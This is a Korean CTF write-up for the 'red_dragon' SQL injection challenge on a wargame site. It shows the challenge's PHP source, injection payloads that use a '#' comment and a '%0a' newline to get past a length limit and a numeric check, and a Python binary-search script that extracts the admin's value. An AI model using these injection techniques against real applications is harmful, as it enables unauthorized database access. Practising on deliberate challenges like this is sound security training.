Write-Up
<?php
if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
if(strlen($_GET['id']) > 7) exit("too long string");
$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
$query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");
?>
문제의 조건은 위와 같다. id 컬럼에는 strlen() 함수로 길이 제한이 되어 있으며, no 컬럼은 오직, 숫자 값만이 들어갈 수 있다. 먼저 id 컬럼에 아래와 같은 payload를 삽입해 보았다.
?id=%27or%201%23
참 반응을 보여, 보기보다 쉽게 풀리나? 생각했는데, 역시 아니였다.;;; no 값에 대한 브루트 포싱을 진행했는데, 아무리 해도, 참 반응을 보이지 않았다. 그래서 아래와 같이 no 값에 대한 대소 비교를 진행하는 payload를 exploit 해 보았다.
?id=%27||no>%23&no=%0a90000000
?id=%27||no>%23&no=%0a90000000 no 컬럼에는 %0a 와 같은 개행 공백 문자가 들어간다. ( 숫자 앞에만 들어감 )
#은 한줄 주석이므로, %0a를 통해 주석의 끝을 정해주면, 위와 같이 대소 비교가 가능하다. 이렇게 수동으로 진행해 줄 수도 있지만, 하기가 힘들어 아래와 같은 코드를 통해 no 값을 구해준다. ( 이진 탐색을 하는 코드 )
import requests
def sqli(number):
url = 'https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php' # ?id=1&no=%0a3
cookies = {'PHPSESSID':'gurfmbt68hu28gsdcu3rlq4elt'}
parameter = f'?id=%27||no>%23&no=%0a{number}'
response = requests.get(url+parameter, cookies=cookies)
return response.text
def binary_search_recursion(start, end):
if start > end:
return start
mid = (start + end) // 2
result = sqli(mid)
if "Hello admin" in result:
start = mid + 1
else:
end = mid - 1
return binary_search_recursion(start, end)
if __name__ == '__main__':
result = binary_search_recursion(100000000, 1000000000)
print(result)